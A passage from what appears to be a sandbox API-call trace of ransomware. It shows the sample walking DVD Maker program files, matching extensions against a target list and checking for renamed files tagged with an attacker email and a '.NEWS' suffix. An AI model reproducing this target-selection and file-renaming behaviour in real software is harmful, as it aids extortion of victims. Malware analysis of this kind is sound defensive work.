lpString2=".png") returned -1 [0214.154] lstrlenW (lpString=".docx") returned 5 [0214.154] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0214.154] lstrlenW (lpString=".pdf") returned 4 [0214.154] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.154] lstrlenW (lpString=".xls") returned 4 [0214.154] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.154] lstrlenW (lpString=".xlsx") returned 5 [0214.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0214.154] lstrlenW (lpString=".ppt") returned 4 [0214.154] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.155] lstrlenW (lpString=".zip") returned 4 [0214.155] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.155] lstrlenW (lpString=".rar") returned 4 [0214.155] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.156] lstrlenW (lpString=".bz2") returned 4 [0214.156] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.156] lstrlenW (lpString=".7z") returned 3 [0214.156] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.156] lstrlenW (lpString=".dbf") returned 4 [0214.156] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.157] lstrlenW (lpString=".1cd") returned 4 [0214.158] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.158] lstrlenW (lpString=".jpg") returned 4 [0214.158] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.162] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0214.163] lstrlenW (lpString="nav_leftarrow.png") returned 17 [0214.163] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0214.166] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4503) returned 1 [0214.168] CloseHandle (hObject=0x338) returned 1 [0214.168] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0214.168] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.175] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.176] lstrlenW (lpString=".doc") returned 4 [0214.176] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0214.176] lstrlenW (lpString=".docx") returned 5 [0214.176] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0214.176] lstrlenW (lpString=".pdf") returned 4 [0214.176] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.176] lstrlenW (lpString=".xls") returned 4 [0214.176] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.176] lstrlenW (lpString=".xlsx") returned 5 [0214.177] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0214.177] lstrlenW (lpString=".ppt") returned 4 [0214.177] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.177] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.177] lstrlenW (lpString=".zip") returned 4 [0214.178] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.178] lstrlenW (lpString=".rar") returned 4 [0214.178] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.178] lstrlenW (lpString=".bz2") returned 4 [0214.178] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.178] lstrlenW (lpString=".7z") returned 3 [0214.178] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.178] lstrlenW (lpString=".dbf") returned 4 [0214.178] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.180] lstrlenW (lpString=".1cd") returned 4 [0214.180] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.180] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.180] lstrlenW (lpString=".jpg") returned 4 [0214.180] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.181] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.181] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.181] lstrlenW (lpString=".doc") returned 4 [0214.181] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0214.181] lstrlenW (lpString=".docx") returned 5 [0214.181] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0214.181] lstrlenW (lpString=".pdf") returned 4 [0214.181] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.181] lstrlenW (lpString=".xls") returned 4 [0214.181] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.181] lstrlenW (lpString=".xlsx") returned 5 [0214.182] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0214.182] lstrlenW (lpString=".ppt") returned 4 [0214.182] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.182] lstrlenW (lpString=".zip") returned 4 [0214.182] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.182] lstrlenW (lpString=".rar") returned 4 [0214.182] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.182] lstrlenW (lpString=".bz2") returned 4 [0214.182] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.182] lstrlenW (lpString=".7z") returned 3 [0214.182] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.182] lstrlenW (lpString=".dbf") returned 4 [0214.183] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.183] lstrlenW (lpString=".1cd") returned 4 [0214.183] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned 69 [0214.183] lstrlenW (lpString=".jpg") returned 4 [0214.183] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.183] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0214.184] lstrlenW (lpString="nav_rightarrow.png") returned 18 [0214.184] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0214.185] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4515) returned 1 [0214.186] CloseHandle (hObject=0x338) returned 1 [0214.186] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0214.186] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.188] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.188] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.188] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.188] lstrlenW (lpString=".doc") returned 4 [0214.188] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0214.188] lstrlenW (lpString=".docx") returned 5 [0214.189] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0214.189] lstrlenW (lpString=".pdf") returned 4 [0214.189] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.190] lstrlenW (lpString=".xls") returned 4 [0214.190] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.190] lstrlenW (lpString=".xlsx") returned 5 [0214.190] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0214.190] lstrlenW (lpString=".ppt") returned 4 [0214.191] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.191] lstrlenW (lpString=".zip") returned 4 [0214.191] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.191] lstrlenW (lpString=".rar") returned 4 [0214.191] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.191] lstrlenW (lpString=".bz2") returned 4 [0214.191] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.191] lstrlenW (lpString=".7z") returned 3 [0214.191] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.191] lstrlenW (lpString=".dbf") returned 4 [0214.191] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.191] lstrlenW (lpString=".1cd") returned 4 [0214.192] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.192] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.192] lstrlenW (lpString=".jpg") returned 4 [0214.192] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.193] lstrlenW (lpString=".doc") returned 4 [0214.193] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0214.193] lstrlenW (lpString=".docx") returned 5 [0214.193] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0214.195] lstrlenW (lpString=".pdf") returned 4 [0214.195] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.195] lstrlenW (lpString=".xls") returned 4 [0214.195] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.600] lstrlenW (lpString=".xlsx") returned 5 [0214.600] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0214.600] lstrlenW (lpString=".ppt") returned 4 [0214.600] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.600] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.600] lstrlenW (lpString=".zip") returned 4 [0214.601] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.601] lstrlenW (lpString=".rar") returned 4 [0214.601] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.601] lstrlenW (lpString=".bz2") returned 4 [0214.601] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.601] lstrlenW (lpString=".7z") returned 3 [0214.601] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.601] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.601] lstrlenW (lpString=".dbf") returned 4 [0214.601] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.601] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.602] lstrlenW (lpString=".1cd") returned 4 [0214.602] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.602] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0214.602] lstrlenW (lpString=".jpg") returned 4 [0214.602] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.625] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0214.626] lstrlenW (lpString="flower_PreComp_MATTE_PAL.wmv") returned 28 [0214.626] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0214.629] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=85208) returned 1 [0214.629] CloseHandle (hObject=0x388) returned 1 [0214.630] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0214.630] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.630] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.631] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.631] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.631] lstrlenW (lpString=".doc") returned 4 [0214.631] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.631] lstrlenW (lpString=".docx") returned 5 [0214.631] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0214.632] lstrlenW (lpString=".pdf") returned 4 [0214.632] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.632] lstrlenW (lpString=".xls") returned 4 [0214.632] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.632] lstrlenW (lpString=".xlsx") returned 5 [0214.632] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0214.632] lstrlenW (lpString=".ppt") returned 4 [0214.632] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.632] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.633] lstrlenW (lpString=".zip") returned 4 [0214.633] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.633] lstrlenW (lpString=".rar") returned 4 [0214.633] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.633] lstrlenW (lpString=".bz2") returned 4 [0214.633] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.633] lstrlenW (lpString=".7z") returned 3 [0214.633] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.633] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.633] lstrlenW (lpString=".dbf") returned 4 [0214.633] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.633] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.634] lstrlenW (lpString=".1cd") returned 4 [0214.634] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.634] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.634] lstrlenW (lpString=".jpg") returned 4 [0214.634] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0214.634] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.634] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.634] lstrlenW (lpString=".doc") returned 4 [0214.635] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.635] lstrlenW (lpString=".docx") returned 5 [0214.635] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0214.635] lstrlenW (lpString=".pdf") returned 4 [0214.636] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.636] lstrlenW (lpString=".xls") returned 4 [0214.636] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.636] lstrlenW (lpString=".xlsx") returned 5 [0214.637] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0214.637] lstrlenW (lpString=".ppt") returned 4 [0214.638] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.638] lstrlenW (lpString=".zip") returned 4 [0214.638] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.638] lstrlenW (lpString=".rar") returned 4 [0214.638] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.638] lstrlenW (lpString=".bz2") returned 4 [0214.638] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.638] lstrlenW (lpString=".7z") returned 3 [0214.638] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.638] lstrlenW (lpString=".dbf") returned 4 [0214.638] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.639] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.639] lstrlenW (lpString=".1cd") returned 4 [0214.639] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.639] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0214.639] lstrlenW (lpString=".jpg") returned 4 [0214.640] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0214.640] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0214.640] lstrlenW (lpString="flower_trans_matte.wmv") returned 22 [0214.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0214.642] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=157208) returned 1 [0214.642] CloseHandle (hObject=0x388) returned 1 [0214.642] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0214.642] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.643] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.643] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.643] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.643] lstrlenW (lpString=".doc") returned 4 [0214.643] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.643] lstrlenW (lpString=".docx") returned 5 [0214.644] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0214.644] lstrlenW (lpString=".pdf") returned 4 [0214.644] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.644] lstrlenW (lpString=".xls") returned 4 [0214.644] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.644] lstrlenW (lpString=".xlsx") returned 5 [0214.644] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0214.644] lstrlenW (lpString=".ppt") returned 4 [0214.644] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.644] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.644] lstrlenW (lpString=".zip") returned 4 [0214.644] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.645] lstrlenW (lpString=".rar") returned 4 [0214.645] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.645] lstrlenW (lpString=".bz2") returned 4 [0214.645] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.645] lstrlenW (lpString=".7z") returned 3 [0214.646] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.646] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.646] lstrlenW (lpString=".dbf") returned 4 [0214.649] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.649] lstrlenW (lpString=".1cd") returned 4 [0214.649] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.649] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.650] lstrlenW (lpString=".jpg") returned 4 [0214.650] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0214.651] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.651] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.651] lstrlenW (lpString=".doc") returned 4 [0214.651] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.651] lstrlenW (lpString=".docx") returned 5 [0214.651] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0214.651] lstrlenW (lpString=".pdf") returned 4 [0214.651] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.651] lstrlenW (lpString=".xls") returned 4 [0214.652] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.652] lstrlenW (lpString=".xlsx") returned 5 [0214.652] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0214.652] lstrlenW (lpString=".ppt") returned 4 [0214.652] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.652] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.652] lstrlenW (lpString=".zip") returned 4 [0214.653] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.653] lstrlenW (lpString=".rar") returned 4 [0214.653] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.653] lstrlenW (lpString=".bz2") returned 4 [0214.653] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.653] lstrlenW (lpString=".7z") returned 3 [0214.653] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.653] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.653] lstrlenW (lpString=".dbf") returned 4 [0214.654] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.654] 